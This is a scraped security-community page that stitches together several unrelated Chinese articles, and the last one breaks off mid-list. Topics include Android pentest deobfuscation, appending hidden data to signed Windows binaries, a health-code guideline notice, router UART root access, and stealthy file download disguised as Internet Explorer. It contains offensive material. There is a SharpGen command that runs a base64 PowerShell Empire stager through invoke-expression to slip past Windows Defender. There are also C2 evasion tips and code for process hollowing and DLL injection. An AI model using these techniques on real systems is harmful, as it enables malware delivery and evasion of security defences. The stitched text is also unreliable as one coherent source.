附录中是对虚拟机使用的虚拟指令集架构的介绍，有兴趣可以看一下。 | 社区文章 |
# 对混淆的Android应用进行渗透测试
##### 译文声明
本文是翻译文章，文章原作者 Yohanes Nugroho，文章来源：http://tinyhack.com/
原文地址：<http://tinyhack.com/2018/02/05/pentesting-obfuscated-android-app/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
我刚为一个金融机构完成了一个移动应用的渗透测试。我写下这些主要是为将来的手工反编译工作做个笔记。我看了很多文章，测试了一些用于Android应用反编译的工具，但是他们大多数是用于分析恶意软件的。有时候我需要做渗透测试而进行反编译和测试应用。
很多时候，是分析恶意软件还是分析应用都无所谓，但它们是有区别的。例如，当测试一个银行或者金融应用（跟一个团队一起）：
* 我们可以确定这个应用不是恶意的，所以我们可以安全地使用真实设备
* 混淆通常只是到DEX层面，而且不会修复本地代码（Dalvik VM）,因为它们想保证便携性
* 我们需要能够运行和测试应用，而不仅仅是提取字符串来猜测应用的功能（对于一些恶意软件分析，只需要提取字符串）
* 有时候我们需要修改和重新打包应用从而越过root验证、SSL pinning等等，然后重新分发APK给团队成员（通常测试不需要重新打包一个恶意软件）
大家可能会问：如果是为了渗透测试，为什么不直接要应用的debug版本呢？在很多情况下可以这么做，这使得我们的工作变得很容易。而有些情况下，由于银行和应用提供者之间的合同（或者其他法律或技术原因），他们只提供一个Play
Store或者iTunes链接。
我不能告诉大家我测试的应用，但我可以说下所使用的加壳方法。
## 试试自动工具
在手工开始工作之前，有几个反编译工具和网站可以在很多混淆场景提供帮助。[APK Deguard](http://apk-deguard.com/)是其中之一。它最大只支持16Mb的APK文件，所以如果有很多资源文件就要删了确保不会超过限制。这个工具可以识别库文件，所以有时候可以完美地得到重构方法和类名。不幸的是，它也有很多bug：有些变量是从类里消失的方法、有时候它生成4个字节大小的类（就是null）。
我试过几个其他的看起不错的工具，例如[simplify](https://github.com/CalebFenton/simplify)（确实不错，但我测试它时，很慢）。我还试了[Dex-Oracle](https://github.com/CalebFenton/dex-oracle)（没用）。JADX也有一些简单的编译重命名工具，但这种情况下不够用。
每当我发现一个工具不起作用，我通常会花一些时间看看能不能让它工作。最后发现手工有时是最好的。
## 使用XPosed框架
有些情况下，使用XPosed框架是很好的，我们可以记录下任何方法，或者替换存在的方法。有一点我很不喜欢，就是每次更新模块都需要重启（或者软重启）。
还有几个模块，例如[JustTrustMe](https://github.com/Fuzion24/JustTrustMe)，可以和很多应用一起使用，用来绕过SSL
pinning。但它不是对所有应用起作用。例如，上次我发现对Instagram不起作用（但当然，可能有人打了补丁可以用了）。还有RootCloak，也可以在很多应用隐藏root信息，但这个模块已经有些时间没更新了。
难过的是我测试过的应用，这些工具都不能用，应用还是可以检测到设备的root信息，而且也不能绕过SSL pinning。
## 使用Frida
Frida也是一个有趣的工具，很多时候有用。已经有一些基于Frida的有趣的脚本，例如：[appmon](https://github.com/dpnishant/appmon)。
Frida和XPosed都有一个缺点：函数内部执行跟踪，例如我们无法在一个方法中打印一个确定的值。
## 解包和重打包
这种情况很常见：检查应用是否检查它自己的签名。首先，我使用一个锁定bootloader、没有root的真实设备（不是模拟器）。我们可以用apktool解包应用：
apktool d app.apk
cd app
apktool b
对dist/app.apk重签名然后在设备上安装。我遇到的情况是：应用无法运行，只显示一个提示“App is not official”。
## 查找原始字符串
我们可以用：
grep -r const-string smali/
来提取所有代码里的所有字符串。我遇到的情况是：没能找到很多字符串。我找到的字符串，是用于加载类的。这意味着当我们重命名一个类时要小心，因为它可能作为一个字符串在某些地方被引用。
## 插入日志代码
通过一些努力，我们可以调试一个小项目，但我更喜欢为两件事做调试日志：反编译字符串和跟踪执行。
为了插入调试信息，我创建了一个Java文件然后转换成smali代码。这个方法可以打印任何Java对象。首先，在smali文件夹下增加用于调试的smali文件。
手工插入日志代码，我们只需要：
invoke-static {v1}, LLogger;->printObject(Ljava/lang/Object;)V
用我们想要打印的寄存器替换v1。
大多数时候，反编译函数在所有地方都有相同的参数和返回值，在这个情况下，签名是：
.method private X(III)Ljava/lang/String;
我们可以写一个脚本：
1. 查找反编译函数
2. 插入一个调用来记录字符串
打印反编译函数中的结果字符串是容易的，但有一个问题：这字符串是从哪来的（哪一行，哪个文件）？
我们可以像这样插入更详细的日志代码：
const-string v1, "Line 1 file http.java"
invoke-static {v1}, LMyLogger;->logString(Ljava/lang/String;)V
但这需要有未使用的寄存器来存字符串（需要追踪现在哪个寄存器是未使用的），或者我们可以增加本地寄存器数量然后使用最后一个寄存器（在函数已经使用了所有寄存器时不起作用）。
我用了另一个方法：我们可以用一个堆栈跟踪（StackTrace）来跟踪这个方法在哪被调用。要识别行号，我们只需要在smali文件中，在调用反编译函数之前增加新的“.line”指令。为了让编译的类名便于记忆，在smali最前面增加“.source”。刚开始我们还不知道这个类是做什么用的，所以只需要用uuid给它一个唯一标识符。
## 跟踪启动
在Java里，我们可以创建静态初始化器（static initializer），然后当类第一次被使用时它将会被执行。我们可以在 **< clinit>**
开始处增加日志代码：
class Test {
static {
System.out.println("test");
}
}
这里我用了UUID（随机生成UUID然后将它当做字符串放在每个类里），它将帮助我处理编译命名。
class Test {
static {
System.out.println("c5922d09-6520-4b25-a0eb-4f556594a692");
}
}
如果这个信息出现在logcat里，我们就可以知道类被调用/使用了。我可以像这样编辑命名：
vi $(grep -r UUID smali|cut -f 1 -d ':' )
或者我们也可以设置一个文件夹，放置带有到原始文件链接的UUID。
## 编写新的smali代码
我们可以手工编写简单的smali代码，但更复杂的代码我们应该用Java来写，然后再转换成smali。确保它在设备上有效也是一个不错的主意。
javac *.java
dx --dex --output=classes.dex *.class
zip Test.zip classes.dex
apktool d Test.zip
现在我们得到一个可以插入的smali（复制到smali文件夹）
这个方法也可以用来测试应用本身的部分代码。我们可以提取smali代码，加上main，然后运行。
adb push Test.zip /sdcard/
adb shell ANDROID_DATA=/sdcard dalvikvm -cp /sdcard/Test.zip NameOfMainClass
## 从Java层面思考
应用里有几个类从字节数组中提取一个dex文件为临时命名，然后移除该文件。这个数组时加密的，文件名时随机的。我们想知道的第一件事是：这个文件是否重要？我们需要修复它吗？
为了保存文件，我们可以修复反编译字符串：如果它返回“delete”，我们就返回“canRead”。函数的签名是兼容的，即“()Z”（一个不接受参数并且返回布尔值的函数）
事实证明替换文件（修复）有点困难。在smali代码中看起来有点复杂，但总体来说有这些方面：
1. 使用SecureRandom随机生成几个unicode字符
2. 将内建的数组解密成内存中的一个zip文件
3. 以固定偏移量（offset）读取zip文件
4. 手动压缩（deflate）zip文件
5. 将解压结果写入一个步骤1生成的随机dex文件名
6. 加载dex文件
7. 删除临时的dex文件
我尝试修复字节数组，但我还需要调整内部很多数字（大小和偏移量）。在从Java层面思考后，答案是只需要创建一个可以完成我们想要做的的Java代码。所以这才是我所做的：
我创建一个叫“FakeOutputStream”的类，然后修改代码让它不是查找java.io.FileOutputStrem，而是加载FakeOutputStream。
FakeOutputStream将把源代码写入/sdcard/orig-x-y，x和y是偏移量和大小。相反地，它会加载/sdcard/fake-x-y的内容然后写入到临时文件。
注意：当我第一次运行这个应用时，它会生成/sdcard/orig-x-y，并且我可以逆向生成的DEX。我也可以修改这个dex文件并且把它当做/sdcard/fake-x-y push，然后这个文件会被加载。
## 是时候修复了
所有文件内容解密后，我们就可以开始修复工作了，例如移除root检测，包签名检测，调试检测，SSL pinning检测等等。
在主APK外动态获取dex文件有一个优势：我们可以轻易地通过在应用外替换dex文件来测试增加替换函数。 | 社区文章 |
# 【技术分享】Windows程序的数字签名校验绕过漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
[](https://weiyiling.cn/media/blogs/one/quick-uploads/p12/sign.png?mtime=1472310443)
在今年的黑帽大会上，国外的一个安全研究员展示了如何通过Windows的数字签名bypass对恶意程序代码的检测。下载大会的该演讲的ppt大概看了一下，报告分为两部分，第一部分展示数字签名的的校验“漏洞”，第二部分展示该作者自己研究实现的一个pe程序加载器，用来配合第一部分的“漏洞“bypass杀毒软件对恶意程序的检测。本文重点在于第一部分的这个数字签名校验”漏洞“，通过回顾分析数字签名的校验来阐述这个”漏洞“的原理。
**数字签名与数字证书**
讲这个”漏洞“之前先讲一下数字签名的原理，理解一般的数字签名验证过程。下面是数字签名的相关概念和验证过程：
数字签名：对一段数据摘要使用私钥进行加密，公钥进行解密校验
数字证书：对数字签名的解密公钥和身份信息使用CA的私钥进行加密，系统信任的CA公钥进行解密
如上图所示，数字签名用来保护所有者的数据，所以从这些数据出发，所有者签发数据的数字签名过程是要先计算这些数据的摘要（也就是对这些数据做个hash运算，目前由于SHA-1开始不安全，正在逐渐换成SHA-2算法），然后使用所有者的私钥进行加密（目前主流还是RSA，也有一些ECC或其他算法），加密后的数据带上所有者的信息按照一定的标准格式组织好其实就是所谓的数字签名。而接收方（使用者）要验证这个数字签名，一般通过数字证书，因为其中包含两个重要的信息，一个就是用于解密数字签名的公钥（通过这个公钥才能正确解密出数据所有者事先加密好的数据摘要值，用于验证比对数据的一致性），另一个就是指明了这个公钥的所有者的信息（当然要和数字签名所有者的信息一致）。而数字证书其实是由第三方的可信机构颁发给数字签名所有者的一份数据文件，生成算法和数字签名类似，只不过它是把所有者的公钥和身份这些固定信息数据进行了加密返回给了所有者，此时所有者的身份正常是得到了可信机构的认证了。最后一个环节，数字签名、数字证书通常都是附加到所有者的数据后面一起传送给了使用者，但是如何解密数字证书来进行验证呢？我的理解是，这个要依托于系统，比如windows，他们会维护一批可信机构的列表，在验证证书的时候，就会先从这个列表里校验和获取证书签发机构的身份和公钥，并返回到用户系统进行存储和使用。正是通过这样一整套的相对完善的机制，最终比较靠谱的保证了接收数据的有效性。而本文所指的Windows程序的数字签名，其实就是指所有者要保护的数据是一些Windows下的可执行程序这样一种情况。
**可被利用的“漏洞”**
从上面的签名校验流程看，由于整个过程涉及环节比较多，相应的每个环节都存在有被攻破的可能性，比如hash碰撞、根证书伪造等，但是本文不涉及此类问题。实际上，数字签名仍然是保护数据有效的一种可靠的途径，只要操作得当，算法强度足够，被攻破的可能性还是比较低。而本文所说的“漏洞”，也不是上面整个验证过程的漏洞，下面就来看一看这个“漏洞”是什么意思吧。
找一个带有数字签名的程序来实验，就以微软官方的库文件msvcr100.dll为例。右键点击文件属性，可以看到有一个数字签名的标签，依次点击可以查看到下面的签名有效状态，表示这个程序的数字签名验证成功，“程序数据没有被篡改”（这里加引号说明理解需要谨慎，详看下文）。
然后修改这个文件，比如在尾部随便添加几个字节的数据，再次查看数字签名的状态后如下图所示，说明系统检测到文件被篡改，数字签名验证为无效。
这就给我们造成一种感觉，数字签名真的可以保证数据不被篡改，只要数据受到篡改，就会被系统的验证机制检测到并提示签名无效。然而，这种感觉其实并不靠谱，因为我们实际上只是对签名文件添加了一些数据，并没有修改到程序的原始数据区域的部分，理论上只要系统能够找到程序的数字签名并通过上述的验证流程，那么数字签名就仍是有效的，受保护数据没有遭到篡改。那么，有没有办法让这个添加了数据的文件去正确识别数字签名并显示签名有效呢，答案是肯定的，而这也正是本文所指的“漏洞”。
这里直接给出这个“漏洞”的信息：对于一个Windows的可执行程序，签发数字签名的时候需要计算的数据摘要并不会是程序文件的全部数据，而是要排除一些特定区域的数据。而这些区域当然和PE文件结构有关，具体地，不管是签发时还是校验时计算的hash都会排除一个checksum字段、一个Security数据目录字段以及数字签名证书部分的数据。至于原因，当然是为了合理地组织pe程序的数字签名，符合pe文件格式的标准了。下面是三个字段的相关信息：
struct IMAGE_NT_HEADERS
…
struct IMAGE_OPTIONAL_HEADER32
…
DWORD CheckSum //pe映像校验和，dll常用
…
struct DATA_DIR Security
DWORD VirtualAddress //指向数字签名证书数据结构_WIN_CERTIFICATE
DWORD Size //_WIN_CERTIFICATE结构大小
struct _WIN_CERTIFICATE
DWORD dwLength //本结构数据的大小，一般和Security.Size相等
WORD wRevision
WORD wCertificateType
BYTE bCertificate[ANYSIZE_ARRAY] //数字签名证书数据
由于计算hash时排除以上3个相关的数据，故这三个字段本身就是Windows系统留给用户可以操作修改的区域。而实际上，要让上述在尾部添加数据的文件显示数字签名有效，即Windows系统对数字签名可正确识别，只需要更新Security.Size这个字段一致，且满足添加的数据长度为8的整数倍即可：
由此可见，数字签名状态正常，并不意味着带签名的程序就是完整未被篡改过的，通过修改程序的字段数据可以实现在带签名的程序后面添加任意的数据且签名状态验证正常。上面的三个字段如果同时修改，即checksum、Security.Size和dwLength都正常，除非很严格的去对数字签名的数据部分进行检查，否则比较难以检测出带签名的程序文件是否被恶意篡改添加了非法数据。而这一点，就构成所谓的“漏洞”，能够成为很多恶意程序的良好的藏身之处，借此bypass很多防火墙、反病毒等软件的检测。比如黑客可以将恶意代码嵌入带有正常签名的程序后面来绕过一些防护系统的检测，从而为后续的一些攻击行动起到一个很好的掩护作用。
**另一种Windows程序的签名“漏洞”**
经过以上的分析，所谓的签名“漏洞”，其实是数字签名文件组织上的概念误区，导致将签名的正常状态和签名文件的完整性混淆在一起。这里介绍一种更为方便的Windows程序，能够以更简单的方式实现以上同样的效果。
打开Windows系统文件夹“C:/Windows/Installer”，在这个目录下可以找到一些具有微软数字签名的msi/msp格式的文件。我们知道msi是微软格式的安装包，点击运行后系统会自动调用Msiexec.exe来启动程序，而这种程序相比于PE程序这个文件格式来说，对数字签名的识别好像更为简单，也没有PE程序结构的特殊限制。于是，随便往带有签名的msi文件尾部添加一些数据，而无需再修改文件的其他数据，msi的数字签名状态仍然校验正常。比如我系统找到的下面一个文件：
可以看到，对于msi签名文件，随意添加数据签名状态不变，说明即使被添加了非法数据，系统也能顺利找到msi程序的数字签名进行校验，而由于msi程序的原始保护部分没有受到篡改，所以数字签名状态验证正常。
**总结**
通过本文的分析，实际上这个程序签名的“漏洞”并算不上通常意义上的漏洞，但是却因为本身比较容易被概念混淆，使用可能没有充分得当，导致可能存在一些比较严重的可利用环节。所以本文的结论就是：程序的数字签名只能用于验证程序的代码和数据是否被篡改，而无法用于验证程序文件本身是否被篡改。 | 社区文章 |
# 《网络安全标准实践指南—健康码防伪技术指南》发布（附全文）
##### 译文声明
本文是翻译文章，文章原作者 中国信息安全，文章来源：中国信息安全
原文地址：<https://mp.weixin.qq.com/s/yEwYhGh5KV1Bps7VA2gGSg>
译文仅供参考，具体内容表达以及含义原文为准。
**关于发布《网络安全标准实践指南—健康码防伪技术指南》的通知**
各有关单位：为落实疫情防控政策，针对健康码伪造现象给疫情防控工作带来严重安全挑战，秘书处组织编制了《网络安全标准实践指南—健康码防伪技术指南》。本《实践指南》给出了现场核验场景下健康码防伪的技术指南，指导健康码服务的技术提供方提高防伪能力，提升整体安全水平。全文请点击附件下载。附件：[《网络安全标准实践指南—健康码防伪技术指南》.pdf](https://www.tc260.org.cn/upload/2022-09-28/1664358736354036790.pdf)
全国信息安全标准化技术委员会秘书处
2022年9月28日 | 社区文章 |
本文翻译自[Getting PowerShell Empire Past Windows
Defender](https://www.blackhillsinfosec.com/getting-powershell-empire-past-windows-defender/)
### 0x01 前言
Windows自带的杀毒软件Defender在阻止很多攻击手法方面都做得很好，包括使用PowerShell
Empire等工具建立C2通信。我最近在研究一种在启用了Defender的Win10电脑上建立C2会话的方法。我发现有一个叫[SharpSploit](https://github.com/cobbr/SharpSploit)的项目成功绕过了Defender。SharpSploit将其他安全研究人员的研究成功融合到了一个工具中，并其是利用`c#`代码而不是`PowerShell.exe`来实现。这种技术有助于绕过AV对恶意PowerShell活动的常见检测。
目前我最感兴趣的是利用`sharsploit`命令调用`PowerShellExecute`中的方法。
值得一提的是它还融合了[Matt Graeber](https://twitter.com/mattifestation)的AMSI绕过技术和[Lee
Christensen](https://twitter.com/tifkin_)的PowerShell日志绕过技术。综合利用起来很方便! 同时也得提一下
绕过Defender的核心工作是绕过AMSI。
### 0x02 过程
废话不多说，开始学习如何利用`PowerShell Empire`绕过Defender等杀毒的手法。
下面将使用[shargen](https://cobbr.io/SharpGen.html)将我们想要的`sharsploit`功能打包到可执行文件中。打包所需要用到的[.Net
Core SDK](https://dotnet.microsoft.com/download)文件可以点击蓝字下载到。
`Defender`并不会对`SharpGen`的代码文件报毒 但是为了避免不必要的麻烦 你可以选择添加一个白名单文件夹来进行相关处理 通过[Git For
Windows ](https://gitforwindows.org/)执行下面的代码获取`SharpGen`的代码：
git clone https://github.com/cobbr/SharpGen.git
`SharpGen`和`PowerKatz`是捆绑在一起的，`PowerKatz`会被编译成最终的可执行文件，此时`Defender`仍然会阻止这些可执行文件。因为我们的目标不是运行`Mimikatz`(通过PowerKatz)，所以我们修改代码来禁用它。在`SharpGen`文件夹中的`Resources.yml`文件如下:
确保资源文件中的每个`Enabled`字段都修改为`false`后。准备打包`SharpGen DLL`。
cd SharpGen
dotnet build -c Release
程序将生成一个`bin/Release/netcoreapp2.1`目录，里面就包含下一步所需的`SharpGen.dll`文件。作为测试，我们先构建一个使用`Write-Output`将`hi`打印到屏幕上的可执行文件。
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"Write-Output hi\"));"
执行完后将在`Output`文件夹中找到编译好的可执行文件。上述命令中的`-d net40`参数的意思是选择`.Net
4.0`的编译环境，如果您的目标系统上是`.Net 3.5`那么就需要修改为对应的`-d net35`，这是个容易掉进去的坑 望周知。
完了运行`example.exe`即可将`hi`打印到屏幕上。如果直接点击运行会一闪而过
看不到运行结果。所以建议通过`cmd.exe`来运行，以便查看输出。
为了实现最终目标，下面将构建一个可执行文件来运行`PowerShell`的一行代码，以便与`Empire`建立C2连接。利用用`PowerShell
Empire`中的`multi/launcher
stager`生成一行代码([参考](https://www.blackhillsinfosec.com/using-powershell-empire-with-a-trusted-certificate/))。我们只需要将生成的`base64`字符串复制到下面命令中即可。
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f Launcher.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"$c = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<BASE64_LAUNCHER>')); invoke-expression -command $c\"));"
(替换命令中的`<BASE64_LAUNCHER>`即可)
随后将`Output`中的`Launcher.exe`上传到目标中在运行即可绕过Defender的保护。
### 0x03 总结
然而再实战中`Defender`可能并不是企业环境中会遇到的唯一防御。例如，可能会有网络防御来检查网络流量并阻断通信。这里提供一些绕过的小技巧。
1. 使用`https`协议进行通讯 并且要使用有效的的SSL证书（非自己生成的）。
2. 修改所有配置的默认值，如启动`Empire Listener`时`DefaultJitter`和`DefaultProfile`的值。
3. 使用一个老域名(不是最近购买的)和分类的域名。（原文表达的意思为类白名单机制 AV会重点检查新域名 如果是政府域名这类的域名直接放行）
4. 如果白名单起到作用，但是AV阻止生成的随机可执行文件，可运用一些白名单绕过技术后再尝试。如我之前绕过的[例子](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/). | 社区文章 |
作者：Sebao@知道创宇404实验室
#### 序言
众所周知，光猫是现在每个家庭必备的一款设备，但是光猫背面写的账号密码，只是普通用户权限，会限制很多功能。这篇文章讲述，如何通过TTL调试的方法获取光猫超级管理员的权限。
#### 0x00 名词解释
引脚介绍（COM口pin比较多，但是常用的也是这几个）：
VCC：供电pin，一般是3.3v，在我们的板子上没有过电保护，这个pin一般不接更安全
GND：接地pin，有的时候rx接受数据有问题，就要接上这个pin，一般也可不接
RX：接收数据pin
TX：发送数据pin，我之前碰到串口只能收数据，不能发数据问题，经baidu，原来是设置了流控制，取消就可以了，适用于putty,SecureCRT
在调试的时候, 多数情况下我们只引出rx，tx即可.
#### 0x01 所需工具：
1，万用表
2，TTL转USB版
3，电烙铁
4，杜邦线若干只
5，SecureCRT
#### 0x02 华为光猫
TTL调试的第一步骤就是拆机，拆机步骤这里就不详细描述。这里先看一下拆下来的光猫板子是什么样子的。
TTL调试我们首先要找出 GND，RX，TX。从图中可以看到，已经标识出了 GND，RX，TX的接口，就需要通过USB转TTL小板串口读取固件。
查找GND，可以用万用表查找。
用杜邦线连接到板子上，线序为GND接GND，RXD接TTL板的TXD，TXD 接TTL板的RXD。
USB端连接上电脑，在控制面板，设备管理器查看串口（一般在COM1-COM12之间），Connection type设置为：Serial，Serial
line设置为你电脑上显示的串口，Speed设置为115200，然后连接。接通电源后等待，在这一段时间内串口应该会打印很多启动信息，启动差不多后，敲回车：
然后输入默认的账号root 密码 admin登录进去，输入shell命令，进入busybox.看一下此设备的cpu架构，用的是ARM7.
准备查找超级管理员的密码。进入/mnt/jffs2目录，复制配置文件hw_ctree.xml到myconf.xml.gz中。这个文件是AES加密的，所以先解密，命令为`aescrypt2
1 myconf.xml.gz tmp`。
解密后的文件还是被压缩了的，所以要用gzip命令展开压缩文件myconf.xml.gz，得到myconf.xml。命令为：`gzip -d
myconf.xml.gz`。
然后用 grep 命令 查找telecomadmin，也就是超级管理员的密码。命令为：`grep telecomadmin myconf.xml`
#### 0x03 烽火光猫
和上述步骤一样，首先拆开光猫找到 GND，RX，TX。这个板子人性化的已经标明了GND，RX，TX。
所以直接用杜邦线连接到板子上，线序为GND接GND，RXD接TTL板的TXD，TXD 接TTL板的RXD。
USB端连接上电脑。
接通电源后等待，在这一段时间内串口应该会打印很多启动信息，这里直接CTRL+C 跳过直接进入shell模式，这个也算是一个“后门”。输入命令 `cat
proc/cpuinfo`查看cpu的架构。
进入shell获取超级管理员的方法差不多，参考上文即可，这里不再详细描述。
#### 0x04 长虹光猫
和上述步骤一样。
因为这里没有针孔，所以需要焊接杜邦线到板子上，以便于固定杜邦线。
USB端连接上电脑。
#### 0x05 总结
感谢 知道创宇404实验室 dawu，fenix提供的思路以及技巧。
* * * | 社区文章 |
## 0x00 前言
* * *
在之前的文章《从github下载文件的多种方法》介绍了通过cmd从github下载文件的多种方法，选出最短的实现代码(长度为25)。
本文将站在另一角度，介绍Windows系统下模拟IE浏览器实现文件下载的方法。
模拟IE浏览器实现文件下载不仅能够绕过白名单程序的拦截，而且能在一定程度上隐藏下载行为。所以本文将站在利用的角度介绍具体的利用方法，结合利用方法总结防御思路。
## 0x01 简介
* * *
本文将要介绍以下内容：
* 模拟IE浏览器实现文件下载的多种方法
* 分析优缺点
* 总结防御思路
## 0x02 实现方法
* * *
由于方法众多，所以本文做了一个简单分类,整体上分为主动和被动两种模式。
主动模式代表通过命令主动实现文件下载，被动模式代表劫持用户行为，在用户打开IE时实现文件下载
其中，主动模式也要做一个区分，分为当前后台进程是否有IE浏览器进程iexplore.exe
具体方法如下：
### 1、主动模式
#### (1) 后台无IE进程
**a) 调用IE COM对象**
参考链接：
<https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/>
通过COM对象`InternetExplorer.Application`实现文件下载，后台进程为iexplore.exe
powershell代码如下：
$ie_com = New-Object -ComObject InternetExplorer.Application
$ie_com.Silent = $True
$ie_com.Visible = $False
$Headers = "Host: <SNIP>.cloudfront.net`r`n"
$ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers)
while($ie_com.busy -eq $true) {
Start-Sleep -Milliseconds 100
}
$html = $ie_com.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie_com.document, $Null).InnerHtml
$html
$ie_com.Quit();
**注：**
若IE从未运行过，执行以上代码会弹框提示
powershell代码引用自<https://gist.github.com/leoloobeek/f468d34e81795239a8f8bac03646cf59，该页面还包含cs、js和vbs的实现方法>
**b) Process Hollowing**
参考文章：
[《傀儡进程的实现与检测》](https://3gstudent.github.io/3gstudent.github.io/%E5%82%80%E5%84%A1%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E6%A3%80%E6%B5%8B/)
创建傀儡进程iexplore.exe，传入参数`CREATE_SUSPENDED`使进程挂起，清空iexplore.exe进程的内存数据，申请新的内存，写入payload，恢复寄存器环境，执行文件下载
通过c++实现的文件下载代码如下：
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define MAXBLOCKSIZE 1024
#pragma comment( lib, "wininet.lib" ) ;
void download(const char *Url,const char *save_as)
{
byte Temp[MAXBLOCKSIZE];
ULONG Number = 1;
FILE *stream;
HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hSession != NULL)
{
HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
if (handle2 != NULL)
{
fopen_s(&stream, save_as, "wb" );
while (Number > 0)
{
InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);
fwrite(Temp, sizeof (char), Number , stream);
}
fclose( stream );
InternetCloseHandle(handle2);
handle2 = NULL;
}
InternetCloseHandle(hSession);
hSession = NULL;
}
}
int main(int argc, char* argv[]){
download("https://github.com/3gstudent/test/raw/master/putty.exe","c:\\test\\putty.exe");
return 0;
}
打开防火墙监控，下载进程为Internet Explorer，完整测试如下图
**c) Process Doppelganging**
参考文章：
[《Process-Doppelganging利用介绍》](https://3gstudent.github.io/3gstudent.github.io/Process-Doppelganging%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D/)
原理上类似于Process
Hollowing，实现思路为打开一个正常文件，创建transaction；在这个transaction内填入payload，payload作为进程被启动；回滚transaction
需要注意的是Process Doppelganging需要对正常文件进行写入操作。如果是对iexplore.exe进行利用，需要获得Trusted
Installer权限，获得Trusted Installer权限的方法可参考文章：
[《渗透技巧——Token窃取与利用》](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/)
**d) 隐蔽启动IE，访问特定网址，通过缓存获得下载的文件**
第一种思路：
cmd启动IE，访问网址，通过缓存获得下载的文件
start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png
**注：**
这种方式会打开IE的界面，但可通过API `ShowWindowAsync`隐藏IE界面，powershell实现脚本：
<https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1>
第二种思路：
通过powershell隐蔽启动IE，访问网址，通过缓存获得下载的文件
powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/evil-kiwi.png -WindowStyle Hidden"
以上两种思路通过IE访问网址后，会在如下位置保存缓存文件：
* Win7: `%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files`
* Win8、Win10: `%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE`
可使用通配符获得不同系统下缓存文件的路径，命令如下：
dir %LOCALAPPDATA%\*evil-kiwi*.png /s /b
以上两种思路会在IE浏览器留下历史记录，历史记录对应路径为： `%LOCALAPPDATA%\Microsoft\Windows\History\`
该方法的父进程为powershell.exe，但可以通过token复制改变父进程(例如SelectMyParent、Invoke-TokenManipulation.ps1)
第三种思路:
利用计划任务启动IE，访问网址，通过缓存获得下载的文件(需要管理员权限)
命令1：
at 6:34 "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png
命令2：
schtasks /create /RU SYSTEM /RP "" /SC ONCE /TN test1 /TR "C:\Program Files\Internet Explorer\iexplore.exe http://192.168.62.131/evil-kiwi.png" /ST 06:34 /F
由于计划任务的权限为system，所以用户桌面无法查看启动的IE浏览器界面，缓存位置也不同，通用路径为`%windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\`
可使用通配符获得不同系统下缓存文件的路径，命令如下：
dir %windir%\*evil-kiwi*.png /s /b
所以使用计划任务打开的IE浏览器，不存在历史记录，父进程为svchost.exe
第四种思路：
创建服务启动IE，访问网址，通过缓存获得下载的文件
sc create Test1 type= own binpath= "C:\Program Files\Internet Explorer\iexplore.exe"
sc start test1
通过这种方式启动的服务，调用的程序需要能够同SCM(Services Control Manager)进行交互，而iexplorer.exe不支持这个功能
可通过其他方式创建服务
**注：**
隐蔽启动IE，访问特定网址，通过缓存获得下载的文件后，需要手动结束IE进程
**e) 隐蔽启动ie，进行DLL注入(APC、Atombombing)**
隐蔽启动IE后，对IE进程进行dll注入，dll实现文件下载的功能
APC注入的代码可参考：
<https://github.com/3gstudent/Inject-dll-by-APC>
Atombombing可以理解为APC注入的升级版，可参考文章：
[《AtomBombing利用分析》](https://3gstudent.github.io/3gstudent.github.io/AtomBombing%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90)
#### (2) 后台有IE进程
**a) DLL注入(APC、Atombombing)**
方法同上，不再赘述
### 2、被动模式
**a) DLL劫持**
这里仅给出一个实例： `C:\Program Files\Internet Explorer\IEShims.dll`
该dll在IE浏览器打开时被加载
DLL开发思路：
可使用工具`exportstoc`，下载地址：
<https://github.com/michaellandi/exportstoc>
生成方法可参考文章：
<https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/>
原dll保留，启动时需要做一个互斥，避免多次启动
**b) BHO**
利用BHO(Browser Helper Object)劫持IE浏览器，在浏览器页面打开时实现文件下载，可参考文章：
[《利用BHO实现IE浏览器劫持》](https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BHO%E5%AE%9E%E7%8E%B0IE%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81)
## 0x03 小结
* * *
综上，模拟IE浏览器下载文件的实现方法如下：
(1) 主动模式
当前后台无IE进程：
* 调用IE COM对象
* Process Hollowing
* Process Doppelganging
* 隐蔽启动IE，访问特定网址，通过缓存获得下载的文件
* 通过cmd启动
* 通过服务启动
* 创建服务启动
* 隐蔽启动IE，进行DLL注入(APC、Atombombing)
当前后台有IE进程：
